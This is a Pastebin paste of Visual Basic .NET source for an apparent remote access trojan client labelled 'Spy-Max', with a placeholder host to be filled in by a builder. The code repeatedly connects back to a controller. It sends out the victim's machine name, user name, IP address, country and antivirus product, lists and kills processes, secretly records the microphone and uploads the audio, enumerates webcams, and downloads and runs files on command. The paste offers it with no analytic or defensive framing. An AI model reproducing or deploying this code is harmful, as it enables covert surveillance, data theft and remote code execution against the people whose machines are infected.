Advertisement
Guest User

Untitled

a guest
Nov 14th, 2019
114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.21 KB | None | 0 0
  1. Imports System
  2. Imports Microsoft.VisualBasic
  3. Imports System.Reflection
  4. Imports System.Net
  5. Imports System.Net.Sockets
  6. Imports System.Threading
  7. Imports System.IO
  8. Imports System.Text
  9. Imports System.Globalization
  10. <Assembly: AssemblyTitle("#AssemblyTitle#")>
  11. <Assembly: AssemblyDescription("#AssemblyDescription#")>
  12. <Assembly: AssemblyCompany("#AssemblyCompany#")>
  13. <Assembly: AssemblyProduct("#AssemblyProduct#")>
  14. <Assembly: AssemblyCopyright("#AssemblyCopyright#")>
  15. <Assembly: AssemblyTrademark("#AssemblyTrademark#")>
  16. <Assembly: AssemblyVersion("3.5.2.4")>
  17. <Assembly: AssemblyFileVersion("0.0.0.0")>
  18. Module Main
  19. Dim yy As String = "||"
  20. Public WithEvents c As New SocketClient
  21. Private culture As String = CultureInfo.CurrentCulture.EnglishName
  22. Private country As String = culture.Substring(culture.IndexOf("("c) + 1, culture.LastIndexOf(")"c) - culture.IndexOf("("c) - 1)
  23. Private Declare Function mmciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Integer, ByVal hwndCallback As Integer) As Integer
  24. Public screamx As String = Environment.GetFolderPath(Environment.SpecialFolder.Templates) & "\" + System.Environment.UserName + ".wav"
  25. Declare Function capGetDriverDescriptionA Lib "avicap32.dll" (ByVal wDriver As Short, ByVal lpszName As String, ByVal cbName As Integer, ByVal lpszVer As String, ByVal cbVer As Integer) As Boolean
  26. Dim host As String = "#HOST#"
  27. Dim port As Integer = 9639
  28.  
  29. Sub Main()
  30. Dim T As New Thread(AddressOf Run)
  31. T.Start()
  32. End Sub
  33.  
  34. Sub Run()
  35. ee:
  36. If c.Statconnected = False Then
  37. c.Connect(host, port)
  38. End If
  39. Thread.Sleep(1000)
  40. GoTo ee
  41. End Sub
  42. Private Sub data(ByVal b As Byte()) Handles c.Data
  43. Dim ala As String() = Split(BS(b), "||")
  44. Try
  45. Select Case ala(0)
  46.  
  47. Case "closeserver"
  48. End
  49. Case "restartserver"
  50. End
  51. Case "\\"
  52. Dim MachineName = Environment.UserName
  53. Dim UserName = Environment.UserDomainName
  54. c.Send("\\" & yy & MachineName & "||" & UserName)
  55. Case "GetProcesses"
  56. Dim allProcess As String = ""
  57. Dim ProcessList As Process() = Process.GetProcesses()
  58. For Each Proc As Process In ProcessList
  59. Dim Path As String = Nothing
  60. Try
  61. Path = Proc.MainModule.FileName
  62. Catch
  63. Path = "N/A"
  64. End Try
  65. Dim title As String = Nothing
  66. Try
  67. title = Proc.MainWindowTitle
  68. Catch
  69. title = "N/A"
  70. End Try
  71. allProcess += Proc.ProcessName & "ProcessSplit" & Path & "ProcessSplit" & Proc.WorkingSet64 / 1024 & "ProcessSplit" & title & "ProcessSplit"
  72. Next
  73. c.Send("ProcessManager" & yy & allProcess)
  74. Case "KillProcess"
  75. Dim eachprocess As String() = ala(1).Split("ProcessSplit")
  76. For i = 0 To eachprocess.Length - 2
  77. For Each RunningProcess In Process.GetProcessesByName(eachprocess(i))
  78. RunningProcess.Kill()
  79. Next
  80. Next
  81. Case "scream1"
  82. mmciSendString("open new Type waveaudio Alias recsound", "", 0, 0)
  83. mmciSendString("record recsound", "", 0, 0)
  84. Case "scream1stop"
  85. mmciSendString("save recsound " + screamx, "", 0, 0)
  86. mmciSendString("close recsound", "", 0, 0)
  87. Dim n As New IO.FileInfo(screamx)
  88. c.Send("scream2" & yy & n.Name & yy & Convert.ToBase64String(IO.File.ReadAllBytes(screamx)))
  89. c.Send("screamf" & yy & n.Name & yy & Convert.ToBase64String(IO.File.ReadAllBytes(screamx)))
  90. My.Computer.Audio.Stop()
  91. Case "TETE"
  92. c.Send("TETE" & "||" & Environment.UserDomainName)
  93. Case "info"
  94. c.Send("info" & "||" & GetIPAddress() & "||" & Environment.MachineName & "||" & Environment.UserName & "||" & My.Computer.Info.OSFullName & "||" & country & "||" & Antivirus())
  95. Case "sendFile"
  96. IO.File.WriteAllBytes(IO.Path.GetTempPath & ala(1), Convert.FromBase64String(ala(2)))
  97. Threading.Thread.Sleep(1000)
  98. Process.Start(IO.Path.GetTempPath & ala(1))
  99. Case "openfm"
  100. c.Send("openfm")
  101. Case "RemoteWebCamera"
  102. c.Send("RemoteWebCamera")
  103. Case "RemoteWebCameraManger"
  104. listdevices()
  105. End Select
  106. Catch ex As Exception
  107. End Try
  108. End Sub
  109. Public Function Antivirus() As String
  110. Try
  111. Dim AVCollection As Object
  112. Dim AV As Object
  113. Dim objWMIService As Object
  114. objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & "." & "\root\SecurityCenter2")
  115. AVCollection = objWMIService.ExecQuery("Select * from AntiVirusProduct")
  116. For Each AV In AVCollection
  117. Return AV.displayname
  118. Next
  119. Dim AVCollection1 As Object
  120. Dim AV1 As Object
  121. Dim objWMIService1 As Object
  122. objWMIService1 = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & "." & "\root\SecurityCenter")
  123. AVCollection1 = objWMIService.ExecQuery("Select * from AntiVirusProduct")
  124. For Each AV1 In AVCollection
  125. Return AV1.displayname
  126. Next
  127. Return "Not Available"
  128. Catch
  129. Try
  130. Dim AVCollection As Object
  131. Dim AV As Object
  132. Dim objWMIService As Object
  133. objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & "." & "\root\SecurityCenter")
  134. AVCollection = objWMIService.ExecQuery("Select * from AntiVirusProduct")
  135. For Each AV In AVCollection
  136. Return AV.displayname
  137. Next
  138. Catch
  139. Return "Couldn't get AV!"
  140. End Try
  141.  
  142. Return "Not Available"
  143. End Try
  144. End Function
  145.  
  146.  
  147. Sub audio_get()
  148. Try
  149. c.Send("RecordingFile" & Environment.MachineName & "|" & Convert.ToBase64String(File.ReadAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\rec.wav")))
  150. File.Delete(My.Computer.FileSystem.SpecialDirectories.Temp & "\rec.wav")
  151. Catch
  152. End Try
  153. End Sub
  154.  
  155. Sub listdevices()
  156. Try
  157. Dim devices As String = String.Empty
  158.  
  159. Dim strName As String = Space(100)
  160. Dim strVer As String = Space(100)
  161. Dim bReturn As Boolean
  162. Dim x As Integer = 0
  163. Do
  164. bReturn = capGetDriverDescriptionA(x, strName, 100, strVer, 100)
  165. If bReturn Then devices += strName.Trim & "|"
  166. x += 1
  167. Loop Until bReturn = False
  168. c.Send("WebcamDevices" & devices)
  169. Catch
  170. End Try
  171. End Sub
  172.  
  173. Public Function GetIPAddress() As String
  174. Dim result As String
  175. Try
  176. Dim hostName As String = Dns.GetHostName()
  177. Dim text As String = Dns.GetHostByName(hostName).AddressList(0).ToString()
  178. result = text.ToString()
  179. Catch expr_24 As Exception
  180. result = "n/a"
  181. End Try
  182. Return result
  183. End Function
  184.  
  185. End Module
  186. Module Functions
  187. Function SB(ByVal s As String) As Byte()
  188. Return System.Text.Encoding.Default.GetBytes(s)
  189. End Function
  190. Function BS(ByVal b As Byte()) As String
  191. Return System.Text.Encoding.Default.GetString(b)
  192. End Function
  193. Function fx(ByVal b As Byte(), ByVal WRD As String) As Array ' split bytes by word
  194. Dim a As New List(Of Byte())
  195. Dim M As New IO.MemoryStream
  196. Dim MM As New IO.MemoryStream
  197. Dim T As String() = Split(BS(b), WRD)
  198. M.Write(b, 0, T(0).Length)
  199. MM.Write(b, T(0).Length + WRD.Length, b.Length - (T(0).Length + WRD.Length))
  200. a.Add(M.ToArray)
  201. a.Add(MM.ToArray)
  202. M.Dispose()
  203. MM.Dispose()
  204. Return a.ToArray
  205. End Function
  206. End Module
  207.  
  208. Public Class SocketClient
  209. Private C As TcpClient
  210. Public Event Connected()
  211. Public Event Disconnected()
  212. Public Event Data(ByVal b As Byte())
  213. Private IsBuzy As Boolean = False
  214.  
  215. Public Function Statconnected() As Boolean
  216.  
  217. Try
  218.  
  219.  
  220. If C.Client.Connected = True Then
  221. Return True
  222. Else
  223. Return False
  224.  
  225. End If
  226.  
  227. Catch ex As Exception
  228. End Try
  229. End Function
  230.  
  231.  
  232. Sub Connect(ByVal h As String, ByVal p As Integer)
  233. Try
  234. Try
  235. If C IsNot Nothing Then
  236. C.Close()
  237. C = Nothing
  238. End If
  239. Catch ex As Exception
  240. End Try
  241. Do Until IsBuzy = False
  242. Threading.Thread.Sleep(1)
  243. Loop
  244. Try
  245. C = New TcpClient
  246.  
  247. C.Connect(h, p)
  248. Dim t As New Threading.Thread(AddressOf RC, 10)
  249. t.Start()
  250. RaiseEvent Connected()
  251. Catch ex As Exception
  252. End Try
  253. Catch ex As Exception
  254. RaiseEvent Disconnected()
  255. End Try
  256. End Sub
  257. Private SPL As String = "Spy-Max"
  258. Sub DisConnect()
  259. Try
  260. C.Close()
  261. Catch ex As Exception
  262. End Try
  263. C = Nothing
  264. RaiseEvent Disconnected()
  265. End Sub
  266. Sub Send(ByVal s As String)
  267. Send(SB(s))
  268. End Sub
  269. Sub Send(ByVal b As Byte())
  270. Try
  271. Dim m As New IO.MemoryStream
  272. m.Write(b, 0, b.Length)
  273. m.Write(SB(SPL), 0, SPL.Length)
  274. C.Client.Send(m.ToArray, 0, m.Length, SocketFlags.None)
  275. Catch ex As Exception
  276. DisConnect()
  277. End Try
  278. End Sub
  279. Private Sub RC()
  280. IsBuzy = True
  281. Dim M As New IO.MemoryStream
  282. Dim cc As Integer = 0
  283. re:
  284. Threading.Thread.Sleep(1)
  285.  
  286. Try
  287. If C Is Nothing Then
  288. GoTo co
  289. Else
  290. If C.Client.Connected = False Then
  291. GoTo co
  292. Else
  293. cc += 1
  294. If cc > 100 Then
  295. cc = 0
  296. Try
  297. If C.Client.Poll(-1, Net.Sockets.SelectMode.SelectRead) And C.Client.Available <= 0 Then
  298. GoTo co
  299. End If
  300. Catch ex As Exception
  301. GoTo co
  302. End Try
  303. End If
  304.  
  305. End If
  306. End If
  307. If C.Available > 0 Then
  308. Dim B(C.Available - 1) As Byte
  309. C.Client.Receive(B, 0, B.Length, Net.Sockets.SocketFlags.None)
  310. M.Write(B, 0, B.Length)
  311. rr:
  312. If BS(M.ToArray).Contains(SPL) Then
  313. Dim A As Array = fx(M.ToArray, SPL)
  314. RaiseEvent Data(A(0))
  315. M.Dispose()
  316. M = New IO.MemoryStream
  317. If A.Length = 2 Then
  318. M.Write(A(1), 0, A(1).length)
  319. Threading.Thread.Sleep(1)
  320. GoTo rr
  321. End If
  322. End If
  323. End If
  324. Catch ex As Exception
  325. GoTo co
  326. End Try
  327. GoTo re
  328. co:
  329. IsBuzy = False
  330. DisConnect()
  331. End Sub
  332. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement